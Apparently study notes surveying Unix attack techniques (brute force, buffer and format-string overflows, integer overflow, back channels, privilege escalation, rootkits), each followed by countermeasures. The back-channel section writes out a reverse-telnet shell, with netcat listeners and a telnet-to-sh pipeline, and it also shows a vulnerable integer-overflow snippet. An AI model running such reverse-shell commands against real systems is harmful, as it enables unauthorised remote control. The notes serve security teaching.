• Hacking Unix
  • Remote Access
    • Exploit a listening Service
      • Bruteforce
        • Countermeasures
      • Data Driven Attack
        • Buffer Overflows
          • Countermeasures
        • Format String Attacks
          • Countermeasures
      • Input Validation Attacks
        • Integer Overflow
          • Countermeasures
    • Remote Command Execution
      • Back Channel
        • Countermeasures
      • Common targets for Remote Command Execution Attacks
        • FTP
          • Countermeasures
      • Sendmail
        • Countermeasures
      • Remote Procedure Call Services
        • Countermeasures
      • NFS
        • Countermeasures
      • DNS
        • Countermeasures
      • X
        • Countermeasures
      • SSH
        • Countermeasures
      • OpenSSL
        • Countermeasures
      • Apache
        • Countermeasure
  • Local Access
    • Attack the System
      • Weak Passwords
        • How passwords works in Unix
        • Tools: John the Ripper
      • Shared Libraries
        • Countermeasures
      • Kernel flaws
    • System misconfiguration
      • Unix permission
        • Countermeasures
      • Capabilities
        • Countermeasures
      • World-Writable files
        • Countermeasures
      • Sensitive Utilities
  • Advanced Persistent Threats
    • Trojans
      • Countermeasures
    • Sniffer
      • Countermeasures
    • Log cleaning
    • Kernel Rootkit
      • Countermeasures

An educated hacker will perform some prior steps before the hacking of a target network / machine.

1. Footprinting. The Hacker will try to gather all the public avaiable info, with the purpose to profile the target. Tools: whois, nslookup, dig, FOCA.
2. Scanning. After the footprinting it's important to identify all the entry points. Tools: nmap, netcat, tcpdump.
3. Enumeration. Probe and scan the identified services with the purpose of finding known vulnerabilities. Tools: dnsenum

When the Hacker has finished all the steps above has all the information he need to perform a successfull attack. Now it's purpose is to gain access to a remote target. The most frequent methods used to gain Remote Access on a Unix machine are:

1. Exploit a listening service
2. Route through a Unix system
3. Make a user (maybe through phishing techniques) run some malware to gain Remote Execution
4. Promiscous mode attack

there are two kind of common attacks: bruteforce and data driven attack.

Bruteforce attack can be done against interactive login systems like telnet, FTP and similar. Also informations like user data obtained during scanning and enumeration can be used during a bruteforce attack. Tools used in bruteforce attack can be automated, an example is Hydra.

Enforce strong password policies, and compare them with dictionary manually or with programs like CrackLib. Also ditch old protocols like telnet in favor of encrypted remote connection mechanisms like SSH, SRP or SFTP.

This kind of attack is performed sending appositely crafted data to an active service causing undesiderable or unintended results. The most common type of Data Driven Attack are: bufferoverflows and Input Validation attack.

Occurs when a user or a process attempts to place data inside a buffer which dimension allocated is lesser than the data inserted. Normally a SEG FAULT is raised but it can lead to arbitrary code execution.

In the simple buffer overflow attacks, the pupose of the attacker is to overwrite the return stack pointer with some precompilated executable code. In summary is goal is to jump to injected code. Obviously this approach is very limited: what if the buffer exploited is not big enough to contain all the exploit code? Also in modern Operating Systems the stack is not executable, so this approach will not work.

A more interesting approach is called Return-to-libc Attack. It consist in the replacing of the Return Pointer, overflows the return address to a new location in existing executable code in the libc library. For example calling the exec() function bypassing the stack execution prevention.

cat /proc/sel/map, bash command to see the memory layout of a process.

Instead of putting shellcode on stack, an attacker find the address of the exec() function with arg: /bin/sh, spawning a shell with the same privileges of the process exploited.

A generalization of the Return to libc attack is the Return oriented programming.

Secure coding practices like: validation of user-modifiable inputs, use of secure routines and reduction of root privileged code; also enabling of stack Smashing Protector (default) helps. Of course this first countermeasures regards programmers. A network administrator can also apply some countermeasures:

• disabling unused or dangerous services
• access control with TCP wrappers and iptables
• apply stack execution protection, and enable Address Space Layout Randomization. ASLR randomize process address space each time a process is created.

add stack canary

A subtype of buffer overflows attack are the Format String Attacks, if some programmers omit the format string in a printf() family instruction like this: printf(buf) instead of printf("%s", buf); in the former case a malicius user could add format strings to the variable gaining read or write access to memory location.

Same as buffer overflows: use ASLR. Also modern compiler warn developer who misuse *printf functions.

These attacks work every time user input is not tested and, when needed, cleaned before execution. There are to main approaches to perform input validation:

1. Black list malicious inputs; not very effective, it's difficult to know apriori all the possible bad inputs. Strongly Discouraged.
2. White list valid inputs; maybe with regular expressions. Recommended.

Integer variables can only handle values up to a maximum size. 16bit integer can store only 2¹⁶-1 values.

int16_t x = 60000;
printf("%d", x); // -5536 

Vulnerable programs can be tricked into accepting large amounts of data bypassing data validation:

int16_t len = getInputLen();
if (len > 256) { // if len is greater than 32757 it's considered negative
	return -1;
} else {
	strncpy(buf, user_data, len); //strncpy consider len as a unsigned int16_t
	// VULNERABLE TO BUFFEROVERFLOW
}

Same as bufferoverflows, and also good programming practices.

The goal of the attacker in this setting is to gain command-line (in Windows System) or shell (in unix) access to the target system. The remote command execution is done exploiting interactive shell access to remotely login: telnet, rlogin, or ssh; or exploiting non interactive services to execute commands. Sometimes, however, remote login services are blocked by firewall or are turned off. In this cases the attacker need a so called Back Channel.

A back channel is a communication channel that originates from the target system. Users can be tricked to open such a channel using Social Engineering or trought malwares or phising emails. An example of black channel is Reverse Telnet.

Reverse Telnet is done in to steps. First the user runs the following commands in two separate windows on it's machine:

$ nc -lnv -p 80

$ nc -lnv -p 25

the first console act as a input console, and the second as a output console. Then the attacker, in same way, is able to run the following command on the target system:

telnet ip_addr 80 | sh | ip_addr 25

this command opens to socket, the first socket on port 80, and pipe it's output in input to sh, then pipe the output of sh into the socket opened on port 25.

It's important to disallow unnecessary or unused services, remove X server from critical systems and run web server as nobody with no exec permission for telnet. Lastly some firewall consent to block connection from web server or internal systems.

• FTP
• Sendmail
• RPC
• NFS
• X11
• DNS
• SSH
• OpenSSL
• Apache

Sometimes FTP servers allow anonymous user to user to upload files, of course Anonymous access and the presence of word-writable directory represents a trouble. It's important to note that also misconfiguration may allow the traverse of directories that contain sensitive information. Lastly, it is important to consider that some vulnerability in wu-ftp allows arbitrary code execution (site exec command).

Today there's no need to use FTP, but if is necessary it's important to: patch the FTP server, configure it carefully and of course disable world-writable directories and anonymous access.

Sendmail is one of the most common Mail Transfer Agent used on UNIX systems. Non patched versions have a lot of vulnerabilities and if misconfigured allows spammer to use your mail server to send junk mails.

It's important to properly configure Sendmail and to patch it.

RPC are an historical tool used to perform a initial form of distributed computing. RPC allow a client to call a procedure stored on a server. Some stock versions of UNIX have RPC services enabled by default. Basically RPC services are complex and have the need to run with root privileges; for this reason are a juicy target for attackers.

This kind of systems are used in big, complex and old systems (banks, healthcare, etc...) in which the upgrade of the IT infrastructure can produce the loss of important data or it's really expensive.

If not used disable RPC service, but if it is needed implement an access control list that allows only authorized systems. Apply also buffer overflow countermeasures and if possible configure Secure RPC or use it through a secure encrypted tunnel like VPN.

Network File System is used to allow transparent access to file and directories stored on a remote server from clients as if they were stored locally. Wrong configuration can lead to expose the entire filesystem to everyone on the network, and many buffer overflows vulnerabilities affect mountd, the NFS server software.

Of course, if not needed, disable NFS; else implement client and user access controls to allow only authorized user to access the required files. It's fundamental to export only certain directories and not the entire filesystem. Lastly never include the server's local IP address, or localhost, in the list of systems allowed to mount the filesystem because weird interactions with other software like portmapper allow attacker to spoof requests.

DNS is one of the few services always needed in big organizations. One of the most common implementation of DNS for UNIX is BIND; it is a very complex and configurable software that can be exploited by malformed responses to DNS queries and can provide some degree of remote control over the server.

Another interesting, but old, kind of attack to DNS server is the DNS Cache Poisoning. ADD INFO

As always disable BIND if not used, path and update it. Another important thing to do is to run the service as unprivileged user, or run it from a chroot jail. Alternative softwares for BIND exists like djbdns. Always check CVEs.

The X windows system is a client-server based graphical environment for UNIX systems (more on this). It's a fairly old software that is no longer maintained in favour of most newer but not so adopted graphical environment like wayland.

X was implemented with the old concept of mainframe architecture: a lot of client with little computing power, and a main mainframe with a lot of computing power used to execute all the expensive tasks. The clients were used only to display graphical windows (graphical client) and the server did all the computing also of the position of the different windows on the screen, their size and so on. For this reason x clients have the ability to capture keystroke, kill windows, remap keyboard to send commands and similar.

Of course today all of this is not needed anymore, but in some old legacy stock unix systems this service can be active by default. There are a lot of tools that can be used to check a network for the presence of X server / clients:

• xscan is a tool that can scan an entire subnet looking for an open X server and log all keystroke to a log file. (free keylogger)
• xwatchwin even lets you see the windows users have open

It's also possible to send keystroke to all users.

If really needed an X server can be secured avoiding xhost + command, using advanced authentication mechanisms and considering the use of encrypted tunneling functionalities such as SSH an VPN. But today there are more viable, easily configured and secure alternatives to X.

SSH is a secure, encrypted, alternative to telnet. Of course it is no exempt from vulnerabilities, like integers overflows, problems in SSH packages and so on.

Run patched an d update versions of the SSH serer, use the privilege separation feature like a chroot jail.

OpenSSL is an open-source implementation of SSL and is the de facto standard used of most servers. It had two famous vulnerabilities, one that was exploited by the Slapper worm (more on this here and here), and one was the Heartbleed Bug that was caused by improper input validation.

Always run patched and update version of OpenSSL and disable SSLv2 if not needed.

Apache is the prevalent web server, it is a complex and highly configurable software with vulnerabilities. Always check CVE.

Use latest version and apply security patches.

After the attacker has gained Remote Access, he has to get Local Access; the quest to root continue! In this setting the attacker tries to do a Privilege Escalation; he can do it using to techniques:

1. Attack the system exploiting weak passwords, symlinks or kernel flows.
2. Exploit system misconfiguration on file/directory permissions, SUID and so on.

After a successful privilege escalation the attacker need to remain persistent: Advanced Persistent Threats using Trojan, Rootkits and Log Cleaner.

In this setting the attacker has gain access to the local machine and tries to gain privileges attacking particular element of the system like user's accounts, symbolic links and the kernel.

Passwords are a security issue if not created properly. Always assume that users are lazy, they will ever use weak, easy to remember, passwords. Passwords requirements, like: "a password must contain at least 8 digit, symbols, capitals, and numbers" helps only marginally, consider `P@ssw0rd1" a dictionary attack will break it in a matter of seconds.

User's accounts informations are stored in two different files: /etc/passwd and /etc/shadow (more on passwd,more on shadow). The former contains a line for each user and each line has the following structure:

username:x:1021:1021:Username user:/home/username:/bin/bash
(1)     :(2):(3):(4):(5)          :(6)           :(7)

each line has to be interpreted in the following:

1. Username of the user
2. Password stub, real hash of the password stored in /etc/shadow
3. user id
4. group id
5. User info, like full name, phone (nobody use this)
6. Absolute path of home directory
7. Absolute path of default shell

the latter contains a line for each user and each line has the following structure:

username:$1$fnfffc$oasdAdoafCaapsdAdpP#7:13064:0:99999:7:::
(1)	:(2)				:(3)  :(4):(5):(6):(7):(8)

each line has to be interpreted in the following way:

1. Username
2. Hashed password in Modular Crypt Format (more on this)
   1. separated by dollar sign: id, salt, hash
3. last password change
4. number of days before change of password is allowed
5. number of days before password change is required
6. number of days before password expires to warn user
7. number of days after password expiration after which account is disabled
8. expiration date of account

Focus on hashed password.

John the Ripper is a common used tool used to crack hashes. It is used in the local access setting because it automatically handles the MCF format, it's easy to configure and extend and has a good set of mangling rules.

They are the equivalent of windows DLL and are shared between different programs, they allow to save memory during execution but if a vulnerability is found in a shared library all the program that use it will be affected; this is true also for defense: one patch for all.

The system look for shared libraries inside any directory specified by rpath-link options (effective at link time), at in any directory specified by -rpath options used at runtime. Also the system looks at:

• LD_RUN_PATH
• LD_LIBRARY_PATH
• lib
• /usr/lib
• and directories in /etc/lib.so.conf

An attacker that has write permission in one of this directory can inject code, tools that can be used ldd and objdump -p <binary> | grep "RPATH|RUNPATH".

Check if a non root user has write permission to any DIR in $PATH, use -rpath carefully when linking. Make sure LD_RUN_PATH, LD_LIBRARY_PATH do not include directories with weak permissions.

Unix system are highly robust and complex, with high complexity come higher chance of bugs, the kernel is responsible for enforcing the overall system's security model. If an attacker exploits a kernel flow he can obtain complete access to the system.

File permissions are specified by three access classes: user, group and others, for each of this classes 3 access types can be set: r, w and x. Each file has three special modes that are set user id, set group id and sticky.

When a file with SUID is executed, the process assumes the effective user id of the owner of the file; the SUID provides flexibility and allows for temporary elevation of privileges. Many SUID programs create a temp files, stored in /tmp, symlinks can be used to execute code, also poorly coded SUID programs with buffer overflow vulnerability are very dangerous.

The best countermeasure is to remove as many SUID files are possible, and use nosuid option of mount so all the programs with SUID enabled on that file system are ineffective.

Capabilities provide fine-grained control over which privileged functions a non-root process can use. Capabilities are splitted at kernel level into groups with related functionality; capabilities need to be given by a root user and allow a normal user to perform some specific privileged operation. For this reason bad capability configuration can be exploited. Check capabilities with getcap -r / 2>/dev/null.

Use capabilities as few as possible and create inventories of programs with assigned capabilities.

They are rarely used, but are files that can modified by any user used for laziness and they have to be avoided.

Do not use world-writable files unless needed, of course create inventory of them and never leave startup scripts has world writable.

Always check sudo configuration and scheduled cron jobs to check if there are jobs with write access.

After the attacker has gained elevated privileges the attacker want to maintain an easy access to the compromised machine.

Trojans are malware hidden in otherwise normal files. Once an attacker has root it can attach a trojan to any file/program in the system, opening back doors that allows remote connections circumventing firewall rules.

Trojan are hard to detect without a proper setup, a good method to identify corrupted files/program is to compare the original hash of the file with the current hash of the file. Of course a database of hashes of the original files has to be stored. Note that it's not possible to rely on backup copies after compromise, as the backup could also be compromised.

They are programs that can sniff packets sent on the network with the objective of gather interesting and confidential information exchanged in the local network segment. If traffic is not properly secured, attackers can also obtain critical information such as password and usernames. With sniffer attacker can gain a good understanding of potential target services.

Sniffer are borderline impossible to detect, but they can be limited by using a switched network topology and use network level encryption like IPsec and TLS.

Systems logs information regarding system services and interactions including all the activity of the attacker. Log cleaners are part of virtually every rootkit allowing attacker to delete their traces. Some log cleaners can also intercept programs that sends log files to remote servers.

They are the worst kind of APT, they compromise the kernel of the OS itself allowing the attacker to compromise all the system programs. Advanced methods are based on raw memory modification. Same kernel rootkits are designed to intercept system calls, can be easily detected using integrity check; other rootkits can corrupt system call handler or hack the interrupt descriptor table.

You can't trust the system itself if a kernel rootkit is installed, so prevention is the only countermeasure.